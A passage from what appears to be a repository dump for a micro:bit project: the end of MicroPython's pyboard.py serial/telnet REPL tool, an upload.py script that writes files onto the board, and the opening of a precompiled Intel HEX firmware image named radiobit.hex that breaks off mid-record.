self.read_timeout:\n                    break\n                timeout_count += 1\n\n        data = b''\n        while len(data) < size and len(self.fifo) > 0:\n            data += bytes([self.fifo.popleft()])\n        return data\n\n    def write(self, data):\n        self.tn.write(data)\n        return len(data)\n\n    def inWaiting(self):\n        n_waiting = len(self.fifo)\n        if not n_waiting:\n            data = self.tn.read_eager()\n            self.fifo.extend(data)\n            return len(data)\n        else:\n            return n_waiting\n\nclass Pyboard:\n    def __init__(self, device, baudrate=115200, user='micro', password='python', wait=0):\n        if device and device[0].isdigit() and device[-1].isdigit() and device.count('.') == 3:\n            # device looks like an IP address\n            self.serial = TelnetToSerial(device, user, password, read_timeout=10)\n        else:\n            import serial\n            delayed = False\n            for attempt in range(wait + 1):\n                try:\n                    self.serial = serial.Serial(device, baudrate=baudrate, interCharTimeout=1)\n                    break\n                except (OSError, IOError): # Py2 and Py3 have different errors\n                    if wait == 0:\n                        continue\n                    if attempt == 0:\n                        sys.stdout.write('Waiting {} seconds for pyboard '.format(wait))\n                        delayed = True\n                time.sleep(1)\n                sys.stdout.write('.')\n                sys.stdout.flush()\n            else:\n                if delayed:\n                    print('')\n                raise PyboardError('failed to access device at ' + device)\n            if delayed:\n                print('')\n\n    def close(self):\n        self.serial.close()\n\n    def read_until(self, min_num_bytes, ending, timeout=10, data_consumer=None):\n        data = self.serial.read(min_num_bytes)\n        if data_consumer:\n            data_consumer(data)\n        timeout_count = 0\n        while True:\n            if data.endswith(ending):\n                break\n            elif self.serial.inWaiting() > 0:\n                new_data = self.serial.read(1)\n                data = data + new_data\n                if data_consumer:\n                    data_consumer(new_data)\n                timeout_count = 0\n            else:\n                timeout_count += 1\n                if timeout is not None and timeout_count >= 100 * timeout:\n                    break\n                time.sleep(0.01)\n        return data\n\n    def enter_raw_repl(self):\n        self.serial.write(b'\\r\\x03\\x03') # ctrl-C twice: interrupt any running program\n\n        # flush input (without relying on serial.flushInput())\n        n = self.serial.inWaiting()\n        while n > 0:\n            self.serial.read(n)\n            n = self.serial.inWaiting()\n\n        self.serial.write(b'\\r\\x01') # ctrl-A: enter raw REPL\n        data = self.read_until(1, b'raw REPL; CTRL-B to exit\\r\\n>')\n        if not data.endswith(b'raw REPL; CTRL-B to exit\\r\\n>'):\n            print(data)\n            raise PyboardError('could not enter raw repl')\n\n        self.serial.write(b'\\x04') # ctrl-D: soft reset\n        data = self.read_until(1, b'soft reboot\\r\\n')\n        if not data.endswith(b'soft reboot\\r\\n'):\n            print(data)\n            raise PyboardError('could not enter raw repl')\n        # By splitting this into 2 reads, it allows boot.py to print stuff,\n        # which will show up after the soft reboot and before the raw REPL.\n        data = self.read_until(1, b'raw REPL; CTRL-B to exit\\r\\n')\n        if not data.endswith(b'raw REPL; CTRL-B to exit\\r\\n'):\n            print(data)\n            raise PyboardError('could not enter raw repl')\n\n    def exit_raw_repl(self):\n        self.serial.write(b'\\r\\x02') # ctrl-B: enter friendly REPL\n\n    def follow(self, timeout, data_consumer=None):\n        # wait for normal output\n        data = self.read_until(1, b'\\x04', timeout=timeout, data_consumer=data_consumer)\n        if not data.endswith(b'\\x04'):\n            raise PyboardError('timeout waiting for first EOF reception')\n        data = data[:-1]\n\n        # wait for error output\n        data_err = self.read_until(1, b'\\x04', timeout=timeout)\n        if not data_err.endswith(b'\\x04'):\n            raise PyboardError('timeout waiting for second EOF reception')\n        data_err = data_err[:-1]\n\n        # return normal and error output\n        return data, data_err\n\n    def exec_raw_no_follow(self, command):\n        if isinstance(command, bytes):\n            command_bytes = command\n        else:\n            command_bytes = bytes(command, encoding='utf8')\n\n        # check we have a prompt\n        data = self.read_until(1, b'>')\n        if not data.endswith(b'>'):\n            raise PyboardError('could not enter raw repl')\n\n        # write command\n        for i in range(0, len(command_bytes), 32):\n            self.serial.write(command_bytes[i:min(i + 32, len(command_bytes))])\n            time.sleep(0.01)\n        self.serial.write(b'\\x04')\n\n        # check if we could exec command\n        data = self.serial.read(2)\n        if data != b'OK':\n            raise PyboardError('could not exec command')\n\n    def exec_raw(self, command, timeout=10, data_consumer=None):\n        self.exec_raw_no_follow(command);\n        return self.follow(timeout, data_consumer)\n\n    def eval(self, expression):\n        ret = self.exec_('print({})'.format(expression))\n        ret = ret.strip()\n        return ret\n\n    def exec_(self, command):\n        ret, ret_err = self.exec_raw(command)\n        if ret_err:\n            raise PyboardError('exception', ret, ret_err)\n        return ret\n\n    def execfile(self, filename):\n        with open(filename, 'rb') as f:\n            pyfile = f.read()\n        return self.exec_(pyfile)\n\n    def get_time(self):\n        t = str(self.eval('pyb.RTC().datetime()'), encoding='utf8')[1:-1].split(', ')\n        return int(t[4]) * 3600 + int(t[5]) * 60 + int(t[6])\n\n# in Python2 exec is a keyword so one must use \"exec_\"\n# but for Python3 we want to provide the nicer version \"exec\"\nsetattr(Pyboard, \"exec\", Pyboard.exec_)\n\ndef execfile(filename, device='/dev/ttyACM0', baudrate=115200, user='micro', password='python'):\n    pyb = Pyboard(device, baudrate, user, password)\n    pyb.enter_raw_repl()\n    output = pyb.execfile(filename)\n    stdout_write_bytes(output)\n    pyb.exit_raw_repl()\n    pyb.close()\n\ndef main():\n    import argparse\n    cmd_parser = argparse.ArgumentParser(description='Run scripts on the pyboard.')\n    cmd_parser.add_argument('-b', '--baudrate', default=115200, help='the baud rate of the serial device')\n    cmd_parser.add_argument('-u', '--user', default='micro', help='the telnet login username')\n    cmd_parser.add_argument('-p', '--password', default='python', help='the telnet login password')\n    cmd_parser.add_argument('-c', '--command', help='program passed in as string')\n    cmd_parser.add_argument('-w', '--wait', default=0, type=int, help='seconds to wait for USB connected board to become available')\n    cmd_parser.add_argument('--follow', action='store_true', help='follow the output after running the scripts [default if no scripts given]')\n    cmd_parser.add_argument('device', nargs=1, help='the serial device or the IP address of the pyboard')\n    cmd_parser.add_argument('files', nargs='*', help='input files')\n    args = cmd_parser.parse_args()\n\n    def execbuffer(buf):\n        try:\n            pyb = Pyboard(args.device[0], args.baudrate, args.user, args.password, args.wait)\n            pyb.enter_raw_repl()\n            ret, ret_err = pyb.exec_raw(buf, timeout=None, data_consumer=stdout_write_bytes)\n            pyb.exit_raw_repl()\n            pyb.close()\n        except PyboardError as er:\n            print(er)\n            sys.exit(1)\n        except KeyboardInterrupt:\n            sys.exit(1)\n        if ret_err:\n            stdout_write_bytes(ret_err)\n            sys.exit(1)\n\n    if args.command is not None:\n        execbuffer(args.command.encode('utf-8'))\n\n    for filename in args.files:\n        with open(filename, 'rb') as f:\n            pyfile = f.read()\n            execbuffer(pyfile)\n\n    if args.follow or (args.command is None and len(args.files) == 0):\n        try:\n            pyb = Pyboard(args.device[0], args.baudrate, args.user, args.password, args.wait)\n            ret, ret_err = pyb.follow(timeout=None, data_consumer=stdout_write_bytes)\n            pyb.close()\n        except PyboardError as er:\n            print(er)\n            sys.exit(1)\n        except KeyboardInterrupt:\n            sys.exit(1)\n        if ret_err:\n            stdout_write_bytes(ret_err)\n            sys.exit(1)\n\nif __name__ == \"__main__\":\n    main()\n"
  },
  {
    "path": "micropython/tools/upload.py",
    "content": "#!/usr/bin/env python\n\n\"\"\"\n\nThis module allows files to loaded onto the Micro:Bit without\nflashing the device.\n\nExample usage:\n\n$ ./tools/upload.py  /dev/ttyACM0 ./examples/simple_slalom.py --name main.py\n\nWill upload the simple_slalom game into main.py\n\"\"\"\n\nimport sys\nimport pyboard\n\nPY2 = sys.version_info < (3,)\n\ndef main():\n    import argparse\n    cmd_parser = argparse.ArgumentParser(description='Load files onto the microbit.')\n    cmd_parser.add_argument('-b', '--baudrate', default=115200, help='the baud rate of the serial device')\n    cmd_parser.add_argument('-u', '--user', default='micro', help='the telnet login username')\n    cmd_parser.add_argument('-p', '--password', default='python', help='the telnet login password')\n    cmd_parser.add_argument('-w', '--wait', default=0, type=int, help='seconds to wait for USB connected board to become available')\n    cmd_parser.add_argument('--name', nargs=1, help='name to save the file as, if different from the file name')\n    cmd_parser.add_argument('device', nargs=1, help='the serial device or the IP address of the microbit')\n    cmd_parser.add_argument('file', nargs=1, help='file to load')\n    args = cmd_parser.parse_args()\n\n    def exec_commands(cmds):\n        try:\n            pyb = pyboard.Pyboard(args.device[0], args.baudrate, args.user, args.password, args.wait)\n            pyb.enter_raw_repl()\n            for cmd in cmds:\n                ret, ret_err = pyb.exec_raw(cmd, timeout=None, data_consumer=pyboard.stdout_write_bytes)\n                if ret_err:\n                    break\n            pyb.exit_raw_repl()\n            pyb.close()\n        except Exception as er:\n            print(er)\n            sys.exit(1)\n        except KeyboardInterrupt:\n            sys.exit(1)\n        if ret_err:\n            pyboard.stdout_write_bytes(ret_err)\n            sys.exit(1)\n\n    with open(args.file[0], 'rb') as f:\n        pyfile = f.read()\n        if args.name:\n            name = args.name[0]\n        else:\n            name = args.file[0]\n        script = make_save_script(pyfile, name)\n        exec_commands(script)\n\ndef make_save_script(pyfile, filename):\n    '''Convert a file into a script that saves that file\n    into the persistent script area on the microbit'''\n    output = [\n        '''\nfd = open(\"%s\", \"wb\")\nf = fd.write''' % filename\n    ]\n    while pyfile:\n        line = pyfile[:64]\n        if PY2:\n            output.append('f(b' + repr(line) + ')')\n        else:\n            output.append('f(' + repr(line) + ')')\n        pyfile = pyfile[64:]\n    output.append('fd.close()')\n    return output\n\nif __name__ == \"__main__\":\n    main()\n"
  },
  {
    "path": "precompiled/radiobit.hex",
    "content": ":020000040000FA\n:100000000040002099990100D5990100D79901007D\n:1000100000000000000000000000000000000000E0\n:10002000000000000000000000000000D99901005D\n:100030000000000000000000DB990100DD990100D4\n:10004000DF9901005D320000DDA00100DF990100B1\n:10005000DF99010000000000999A0100DF9901007A\n:10006000894601003DA60100519F0100DF99010072\n:10007000DF990100DF990100DF990100DF9901009C\n:10008000DF990100DF990100DF990100DF9901008C\n:10009000DF9901009195010051960100C5470100CB\n:1000A000D5470100DF9901000000000000000000BA\n:1000B0000000000000000000000000000000000040\n:1000C00010B5064C2378002B07D1054B002B02D02E\n:1000D000044800E000BF0123237010BD2001002070\n:1000E00000000000CC900300044B10B5002B03D09F\n:1000F0000349044800E000BF10BDC04600000000F6\n:1001000024010020CC900300164B002B00D1144B8F\n:100110009D46402292029A1A924600218B460F4633\n:100120001348144A121A29F052FA0F4B002B00D030\n:1001300098470E4B002B00D0984700200021040068\n:100140000D000D48002802D00C4800E000BF20F050\n:10015000B1FF2000290028F0D3FF20F0C9FEC046DF\n:100160000000080000400020000000000000000027\n:1001700018010020F42F0020000000000000000003\n:1001800010B5040001F0F4FC074B02001B6907499D\n:10019000074822F01AFF13F091FD012C01D113F052\n:1001A000AFFD044810BDC046842E00208604030025\n:1001B00034B7020024DD020010B50CF003FC04F09B\n:1001C0008BF9014810BDC04624DD020010B513F0C4\n:1001D00077FA014810BDC04624DD020010B513F0C7\n:1001E00065FA014810BDC04624DD020010B586B096\n:1001F000040005AB04AA03A902A815F0E5FA059BC3\n:10020000029A0193049B064900930648039B22F03F\n:10021000DCFE012C01D115F013FB034806B010BD24\n:100220009B04030034B7020024DD020010B5084C23\n:10023000002805D1A834236801305B00184310BDA5\n:1002400008680CF0BFFBA83420600248F7E7C046FE\n:10025000842E002024DD020010B50CF019FC0449A6\n:100260001BF060F91AF026FD27F0F3F9014810BDE4\n:1002700000007A4424DD020010B50CF0A3FB002836\n:1002800001DD27F0E6F9014810BDC04624DD02007B\n:1002900010B5040008000CF095FB64102418034806\n:1002A000640004400120204310BDC046FEFFFF7FD4\n:1002B00010B50CF087FB002801DD27F0C6F90148D6\n:1002C00010BDC04624DD020010B527F0DAF9034B5B\n:1002D000400018400123184310BDC046FEFFFF7FB9\n:1002E00010B527F0CAF9034B40001840012318430A\n:1002F00010BDC046FEFFFF7FA3230021024A5B0022\n:100300000248D1527047C046842E002024DD0200EE\n:10031000A3230121024A5B000248D1527047C04624\n:10032000842E002024DD0200A323044A5B00D35A5C\n:100330000348002B00D103487047C046842E00209C\n:10034000B4AD0200ACAD020010B512F027FD0148BB\n:1003500010BDC04624DD020010B50C4C002808D1A9\n:10036000FC34236D18005A1C02D0180122F086FBC1\n:1003700010BD08680CF026FBFC34031E044803DAA9\n:1003800001235B422365F3E71B09FBE7842E002072\n:1003900024DD0200F0B505008BB008680C0009F000\n:1003A000DFF9059005A821F0ACFC00270126059B8C\n:1003B00003900793079B197800291BD1380012F08E\n:1003C00099FB0122009007A960680CF0B5FC079B1F\n:1003D000089A06939B1801920293022D20D9A068D7\n:1003E0000CF0F0FA002818DA089BC01815D52A4836\n:1003F00000F048FF080014F0A3FE002805D13000EB\n:10040000079B3F1801330793D4E707A821F08BFC23\n:10041000079B1B78732BF3D1F1E7069B1818069006\n:100420000025BD4202D300980BB0F0BD059B01260C\n:10043000187814F085FE002803D005A821F073FC7D\n:1004400006000698029A83199A42D0D3059BAC1CE9\n:100450001B78732B0AD0009BA4001C190196019AEB\n:10046000059B511E01910FD2AD1909E0310008F032\n:1004700051FD069BA4009E19009B06960135E05095\n:10048000059B01330593CCE7197806AA03980AF077\n:1004900011FE01C4E3E7C046E3040300F0B58BB0EE\n:1004A00005910292039309F05BF9069006A821F0EA\n:1004B00028FC002401270490039B9C4201D30BB02D\n:1004C000F0BD069B18780028F9D014F039FE3D00E5\n:1004D000002803D006A821F026FC0500059B029AFF\n:1004E0005B199A4202D21B4800F0CCFE069BA60084\n:1004F0001B78732B09D0109B01959E19019A069BBE\n:10050000511E01911ED2641918E0109B3A009859AF\n:1005100007A90CF011FC089E0134AE4200D92E0050\n:1005200007993200059829F036F8059BAA1B9819FF\n:10053000002129F04CF8059B5D190595069B0133B8\n:100540000693B9E7197804CE05AB04980AF012FEB9\n:10055000D4E7C046E3040300F0B50E0089B0039071\n:1005600001CE0F0021F0F3FB4410210004A826F077\n:100570005CFF069D22000021280029F028F8039B3B\n:100580002A19013B290038680096FFF787FF04A964\n:10059000024808F071FC09B0F0BDC04620B9020065\n:1005A00030B50C0089B005000222606805A90CF086\n:1005B000C3FBA0680CF006FA002806DA069B03933A\n:1005C000C01802D5084800F05DFE0599069AEB1E9A\n:1005D0008A18091820000C3000902068FFF75EFF91\n:1005E000024809B030BDC046E304030024DD020028\n:1005F00070B515F03FF80F4C0F4B0025A3620F4B61\n:10060000E562636323000321A8330D481D60A564E0\n:1006100025630FF0F1FF0B4E012130000FF0ECFFCE\n:100620003000094A094924F052FD26606660E565FC\n:1006300070BDC046842E0020C4A3020064D1020015\n:10064000BC2E0020D02E0020760F0000860F000068\n:1006500070B50624134EC3001C43736800220500C6\n:100660002100181D16F0A4F8021E18D1F06D002804\n:1006700007D00430210016F09BF8002801D0406814\n:1006800070BD00222100084816F092F8021E06D123\n:100690002A000649064801F0C3FF06F001FF506832\n:1006A000EEE7C046842E0020B0F002001B060300D7\n:1006B00078A402000A4B10B5040018685B689842E1\n:1006C0000AD00621E30019430430002216F070F826\n:1006D000002801D0406810BD2000FFF7B9FFFAE7FD\n:1006E000842E0020074B10B5D86D002801D1064894\n:1006F00010BD04300022054916F05AF80028F6D043\n:100700004068F5E7842E002078EF0200DE0E00003E\n:100710000A00C100062010B5024B0143186824F0FE\n:10072000D6FC10BD842E0020062110B5034BC0005E\n:100730000143186824F0D5FC10BDC046842E00206B\n:100740000A00C100062010B5024B0143586824F08E\n:10075000BEFC10BD842E0020062110B5034BC00046\n:100760000143586824F0BDFC10BDC046842E002013\n:1007700037B505000C00062806D108000CF060FA19\n:1007800000280DD02C483EBDCB071BD54B100428AC\n:1007900016D81AF06DF803154E4E0700002BF1D055\n:1007A0002648F0E7C0221206934204D18020C005FB\n:1007B00022F064F9E7E75B425B0001201843E2E7BF\n:1007C000DB43F9E702281AD11D4B0B40062B08D05A\n:1007D0008B0714D10A681B4B92699A420FD1486863\n:1007E00002E0C80826F000FF002806D101A9200079\n:1007F00008F0B2FB019914F02BFF4300DDE7200065\n:100800000BF0FCFF4369002B0DD10F4BAD00200016\n:10081000ED5823F07AFA2A0003000C490C4801F045\n:10082000FFFE06F03DFE2100280098470028AAD1CF\n:10083000EBE70800A7E7C046ACAD0200B4AD02008C\n:10084000070080FF199D0000F4B80200A70603000E\n:1008500058A60200F7B50400019116001F000BF026\n:10086000CDFF0569002D09D1200023F04EFA06497D\n:100870000200064801F0D4FE06F012FE3B003200F2\n:1008800001992000A847FEBDAE05030058A602004E\n:10089000F8B50E0015001C00930714D113681E4A0A\n:1008A000934202D16B682360F8BD1C4A934207D182\n:1008B000002802D00BF0A2FF06006B6848C4F3E7E3\n:1008C000174A934201D12560EEE75A6802211700CA\n:1008D0008F4314498F4202D013498A42F3D1002832\n:1008E00017D1124A93420BD0114A934208D0114AB1\n:1008F000934205D0104A934202D0104A934208D145\n:100900000C2021F050FB0E4B466003608560206098\n:10091000CAE725606060C7E740B8020004B802007B\n:10092000B8B80200450200001A020000D0DF020041\n:100930000CE0020048E0020084E00200C0E0020097\n:100940006C9A0200F8B500231360536006000D0096\n:1009500014000BF053FFF92307005B009D4205D103\n:10096000836A002B02D00F4B48C4F8BDFB69002BF3\n:1009700004D02200290030009847F6E7B86B002821\n:10098000F3D00621ED00294304301A0015F010FFC2\n:100990000028EAD04268230039003000FFF778FFD2\n:1009A000E3E7C04640F0020070B5160004000D00F9\n:1009B000FFF7C8FF3368002B15D10B4EA3070BD1EF\n:1009C0000A4B22689A4207D12B006268084930001E\n:1009D00001F026FE06F064FD200023F096F92B00BE\n:1009E00002000449F3E770BDA8A10200B8B80200F4\n:1009F000340603005B06030073B504000D00160007\n:100A00000BF0FCFEC369002B09D004220196009272\n:100A100029006A4620009847009B002B0AD020003E\n:100A200023F073F92B0002000349044801F0F8FD9C\n:100A300006F036FD73BDC0465B060300A8A10200A8\n:100A400073B504000D000BF0D9FE174B426A060087\n:100A50009A4226D0002D03D1102021F0A4FA0500DF\n:100A6000736A002B12D1E6216A46FF312000FFF79E\n:100A700069FF009B002B0FD1200023F046F90B49A2\n:100A800002000B4801F0CCFD06F00AFD2900200011\n:100A900098470028E7D076BD2900684612F068FD27\n:100AA000F9E72000F7E7C046373D0200CA0503001A\n:100AB00058A6020037B504000BF0A0FE856A002D91\n:100AC00002D02000A8473EBDF9216A464900200017\n:100AD000FFF738FF009B002B05D06A46290028004D\n:100AE00021F074F9EFE7200023F00FF90349020029\n:100AF000034801F095FD06F0D3FCC046FC05030059\n:100B000058A6020030B505008FB001F04BF8280060\n:100B10000BF074FE846A002C05D02800A047040066\n:100B200020000FB030BDF9216A4649002800FFF7C8\n:100B300009FF009B002B16D002A806F08BFC0028B2\n:100B400007D16A46010021F041F9040006F0A0FC3B\n:100B5000E6E7039B0849186808F052F80028DFD13F\n:100B6000039806F09DFC280023F0CFF8034902000B\n:100B7000034801F055FDF4E7A4A50200FC050300BD\n:100B800058A60200F0B513688FB00793002800D074\n:100B90006FE00400131D0493FF220B00090A1340A9\n:100BA000114002934B000693069A029B05919B18F5\n:100BB000049A9B00D558D3185F68381E09D00020CE\n:100BC000BB0706D1924B3A689A4202D1380024F012\n:100BD0007BFA059B18184600002D4FD1029B25007B\n:100BE000581C83199800019321F0DDF90600002CB0\n:100BF00001D001250460029BA8009A0030180499D6\n:100C000028F0C9FC029B5B190393039B9800059B8A\n:100C10003018DA00029B9900049B591828F0BBFC9D\n:100C2000039A069B944663441D00002F12D00324B0\n:100C30003C4000D0AAE0764B3A689A4200D0A5E04A\n:100C4000380024F059FA0323070001937B689C4283\n:100C500000D27DE0039B0399EA1A520833000798FB\n:100C6000FFF7F8FD0400300021F0CCF920000FB0B0\n:100C7000F0BD13000833049354688DE7AB072ED101\n:100C80002B68644A934202D0634A934227D12800DA\n:100C90000AAA09A90BF03AFF099B2500581C029BE0\n:100CA000C01883199800019321F07DF90600002CEB\n:100CB00001D001250460029BA8009A000499301815\n:100CC00028F069FC029B0A995819099B80009A0038\n:100CD000301828F060FC029B099A9B1893E7029B4E\n:100CE000181D83199800019321F05DF90394060003\n:100CF000002C02D0012304600393039B0499980005\n:100D0000029B30189A0028F046FC029A039B9446F6\n:100D1000280063440AA90393FFF792FE0500280008\n:100D2000FFF7F0FE041E00D16FE7019B039A934288\n:100D300007D8D900300021F054F90600019B5B0070\n:100D40000193039B9B009C51039B01330393E6E7B4\n:100D5000E3000293BB68E2009858002814D00428EE\n:100D600012D0019B184205D12C4B02689A4201D146\n:100D700022F0C3FBAB00F050B968E2008C4662443D\n:100D80005268F31802355A6001345FE70AAA244911\n:100D90003800FFF709FE00210AAA080021F016F822\n:100DA0000021FFF74DFE02900298FFF7ABFE041EF4\n:100DB00000D14FE7019A6B1C9A420BD85300019364\n:100DC000042B01D204230193019B3000990021F0F0\n:100DD00008F9060003231C4207D1104B22689A42EF\n:100DE00003D1200022F089FB0400E6210AAAFF318A\n:100DF0003800FFF7D9FD0AAA002101200C9420F049\n:100E0000E5FFAB00F450F31802355860CCE7C0465C\n:100E100098CC02006CD10200FCC1020040BB020071\n:100E20006B02000070B50C0086B0150083071AD164\n:100E300003681F4A934202D01E4A934213D102AA6A\n:100E400001A90BF063FE019BA3422AD319D8029B90\n:100E5000A4001C19221FA34201D106B070BD116865\n:100E6000140002C5F6E702A9FFF7EAFD0023060019\n:100E70000193019B3000A34206D3FFF743FE0028F5\n:100E8000EBD022000C490EE0FFF73CFE002808D012\n:100E9000019A0A49A31A5B189B000132585101922A\n:100EA000E7E7019A0649074801F0BAFB06F0F8FAAD\n:100EB0006CD10200FCC10200E8060300FFFFFF3F07\n:100EC000C5060300D0A60200F7B5FF260D00090AEB\n:100ED000354014000E4083072BD10368354A9342F6\n:100EE00002D0354A934224D101AA69460BF00EFE86\n:100EF0000098AB19834255D801998300B200CB18F2\n:100F0000A218043B94420DD1AF00401BC919801BAD\n:100F100022F08EFC019B2060DF193A1F0434BB4293\n:100F200003D1F7BD1F6880C4EBE71168170021608B\n:100F3000F3E70021FFF784FD002307000093009BE7\n:100F4000AB4219D30021080022F072FC05003800E2\n:100F5000FFF7D8FD011E1CD1AB68B34222D3B2000B\n:100F6000A418991B25608A009B00043C9A4214D166\n:100F7000280022F079FCD4E73800FFF7C3FD0028F1\n:100F800010D0009AAB1A9B199B00013218510092A5\n:100F9000D5E728000AF09AFBD9E7E86880580432C0\n:100FA0002060E2E7009A0549054801F039FB06F0A8\n:100FB00077FAC0466CD10200FCC10200C5060300EE\n:100FC000D0A60200F0B591B01D0006000C0017007D\n:100FD0000BF014FC334B984207D12B003A00210050\n:100FE000300003F08FFD11B0F0BD826A2E4B002A55\n:100FF00008D09C4230D13000904728600028F2D0C1\n:101000000120F0E79C4227D1F92101AA49003000D4\n:10101000FFF798FC019B002B0DD1D72101AA4900B5\n:101020003000FFF7C1FC039401AA0021012020F049\n:10103000CDFE2860E4E704A806F00CFA002807D1EA\n:1010400001AA010020F0C2FE286006F021FAD7E7CD\n:10105000059B2B600220C6E7002CDED138000BF088\n:10106000CDFB124907F0CCFD01AA00280ED0104993\n:101070003000FFF767FC019B002B10D001AA210074\n:10108000200020F0A3FE28602000ACE709493000D2\n:10109000FFF758FC019B002B01D00397C4E72F609A\n:1010A000D8E7C04650AC020024DD020098A202003E\n:1010B00019020000CD02000010B5040001F0F6FA9C\n:1010C000002808D0002320001A001900FFF7C2FBF7\n:1010D0000400200010BD200020F0AFFF0028F8D150\n:1010E0000249034820F0A5FFF2E7C0467D06030051\n:1010F00058A602007FB5C30006201843054B019097\n:101100000491052001A902930393059206F00EFABB\n:1011100007B000BD24DD02001423F0B58DB000AF90\n:10112000FA1805000C00FFF70DFCBB69002B06D078\n:1011300022002C492C4801F073FA06F0B1F97869C5\n:1011400000284CD1280021F046FE0028F0D01423BE\n:10115000F821FA1828004900FFF7F4FB10227869FB\n:10116000B91808F013FBB860200026F042FA6A466E\n:101170003E69B968731C7B60C318FB600733DB08EA\n:10118000DB00D31A9D466D463200280028F003FA92\n:101190002E23AB557B682000EB18BB6026F02EFA9F\n:1011A0000600200026F025FA31000200B86828F079\n:1011B000F2F9F968280014F09BFAC30006201843DE\n:1011C0000A4B10223B627B62094BBA18BB620123B7\n:1011D000FB620B33F861D118052006F0A7F9BD4674\n:1011E0000DB0F0BDE6050300D4A2020024DD02002C\n:1011F000B4AD0200F0B5174C0F00616895B00391D3\n:101200002168060008A804916260236006F022F9B4\n:10121000051E06D0039B09986360049B236006F0BB\n:101220003FF933683A00310005A8019304F026FA2B\n:101230002B002A00019905A811F058FA20F0B7FDFB\n:10124000050006F025F92800039B6360049B2360DA\n:1012500015B0F0BD842E002010B5040012F03AFA4B\n:10126000031E054802D0054920F0ECFD2200044988\n:1012700001F0D6F906F014F93CA402000C050300B5\n:1012800035050300010010B5014820F0DBFDC04624\n:10129000D0A60200F0B58BB004900F000392202876\n:1012A00003D191420FD0AF4EBFE0049B1B2B01D066\n:1012B0001E2B0DD1039938000BF032FB049B002844\n:1012C00003D01B2BEFD1A84EAFE01B2BFBD1EAE7DD\n:1012D000049B212B3FD1039801F0E8F9002806D0A8\n:1012E0000399380020F0AFFE0028ECD1DBE703249F\n:1012F000039B1C4005D1039A9C4B126805929A42AD\n:1013000023D0049B9A4A9B0038009C5822F0FDFC95\n:101310000500039822F0F9FC2B000090220095496B\n:10132000954801F07DF947E1039BA20008339D58E1\n:10133000280001F0BBF9002800D158E1290038004D\n:1013400020F081FE0028BED10134039B5B68059329\n:10135000A342E9D8A7E70126314200D116E1039B59\n:101360004D101E4000D1E7E05C10049B1D2BC8D837\n:10137000180019F087FA1E0028002A002D004500E9\n:101380004C004E0050005D0066007B008300B400FE\n:101390001E0028002A002D0045004C004E00500081\n:1013A0005D0066007B008300CC00D000C6FFD40047\n:1013B000D80025432E0070000300734000D5B6E02E\n:1013C0000126064331E06540F4E72C402600F2E7B1\n:1013D000002C02DA6948FFF755FF1F2C0ADC684B26\n:1013E0002341AB4206DBC0232E001B062341A6404F\n:1013F000AB42E0DDE917280021F031FB070049E0AE\n:10140000002CE7DB1F2C00DD1F242541D2E72E191D\n:10141000D1E72E1BCFE72100280009F0E5FA0028CC\n:10142000E8D1012665436D002E4330000BB0F0BDBE\n:10143000002C00D1DDE02100280022F0B2F80600E7\n:10144000B9E7002C00D1D4E028001AF05BFB051CA2\n:1014500020001AF057FB011C281C19F08DFE0323F5\n:1014600002269843474B0643F618DEE7002C00D1CE\n:10147000BFE02100280022F084F8E0E72F00002CD4\n:101480002ADA28001AF03EFB0323022798433D4B3B\n:101490000743FF1838000BF0B1F98369002B00D126\n:1014A0002FE7039A39000498984756E001231C421D\n:1014B00006D03900300009F097FA00289AD17E430F\n:1014C000012C00D177E739003800641009F08CFA5C\n:1014D000002800D08EE77F43002CE7D16BE7002C7B\n:1014E00000D186E00021022011F004FB210006005B\n:1014F000280022F056F8012740003843B060210050\n:10150000280022F03EF8B8400743F7608DE7A54277\n:1015100000DAD8E6C7E6A54200DDD4E6C3E6A54278\n:1015200000DCD0E6BFE6A54200DBCCE6BBE630003F\n:1015300021F0A4FA060078E70323039A1340022B54\n:1015400024D1114B1340062B20D028001AF0DAFAD0\n:10155000039A011C049803F0E1F8061E00D064E72A\n:10156000CFE6C046ACAD0200B4AD02006CD10200C3\n:101570006CB702007805030058A60200630503005B\n:10158000FFFFFF3F00008080070080FF049B1F2BB0\n:1015900000D07FE703980BF031F983690400002B3A\n:1015A0000CD1636A002B11D1039822F0AEFB1349D2\n:1015B0000200134801F034F805F072FF3A00039975\n:1015C00004989847061E00D02FE7EAE706A903987B\n:1015D000FFF736FA04002000FFF794FA002800D144\n:1015E00061E639000BF09CF90028F4D06BE6039516\n:1015F00087E60449044820F025FCC046CA050300DC\n:1016000058A602009D0503000CA70200010010B5BA\n:10161000014820F017FCC04658A60200F8B50400A7\n:101620000D0017001E00002908D018680BF0E6F81E\n:101630006368834202D00548FFF7E8FF33003A00B1\n:101640002900A068FFF706F9F8BDC046F4040300BE\n:1016500001214000014310B5024820F0E3FC05F0F1\n:101660001FFFC046F0A40200010010B5014820F0A1\n:10167000E9FBC046B4A40200184BF7B530CB0F000D\n:10168000160001281AD94B68154A934207D09907CA\n:1016900011D114491C688C420DD11C001D00022878\n:1016A0000CD0BB68934209D09A0704D10D4A19683F\n:1016B0001C00914202D00020FFF7A8FF01A9386862\n:1016C00008F064F8019A01000023102026F00AF9BE\n:1016D0002A0031002300FFF78DFDFEBD842E00207F\n:1016E00024DD020098CC0200F7B50020224A234EE8\n:1016F00012783368111D4900CC5A5F18598801903F\n:10170000013084466405640D4C431D49A4120968E8\n:10171000787807270500BD43F82D1ED06546C00820\n:101720008540A1272800A025FF00ED050132E851E2\n:10173000D2B2101D4000C55A1F186D0558886D0D96\n:1017400068438012001BE3D00B4C2270019A002AE0\n:1017500002D00B4A33601160FEBDA020094A5C68CC\n:10176000C0058450002902D10A000C00E1E762465E\n:101770000B0001920021F7E7CE2D00203C01002054\n:10178000400100200C05000030B572B600220E4B5F\n:1017900018681A6062B6904210D10C4B0C4A1B6854\n:1017A0000C48934200D010001C78002104705A8825\n:1017B00042805A6842600822A14200D330BD9D5A3F\n:1017C000013185520232F7E7400100203C01002040\n:1017D0004401002074010020044B054A1A600023D4\n:1017E000044A1360044A13707047C0463C0100204D\n:1017F000C09A020040010020CE2D002010B57822B2\n:101800000249022012F090FF10BDC046E916000008\n:10181000421E084BFF3A10B504009A4207D8FFF762\n:10182000B3FF054B241144801860002010BD012037\n:101830004042FBE740410F0040010020044B1B6881\n:10184000002B01D1034B1B68588800017047C0462C\n:10185000400100203C010020F7B53D4A04000D0086\n:101860000B00914200D913008022D200D31A0193B9\n:10187000FFF78AFF0122A24046680092164207D174\n:101880002300A0210327C133FF339B00C9055F500C\n:10189000002703789F4206DB002D01D0132B0BD9C4\n:1018A0002C4B1860F7BD391D490042185278D208F8\n:1018B000944243D00137EDE7009A191D324342604C\n:1018C000019A490055050A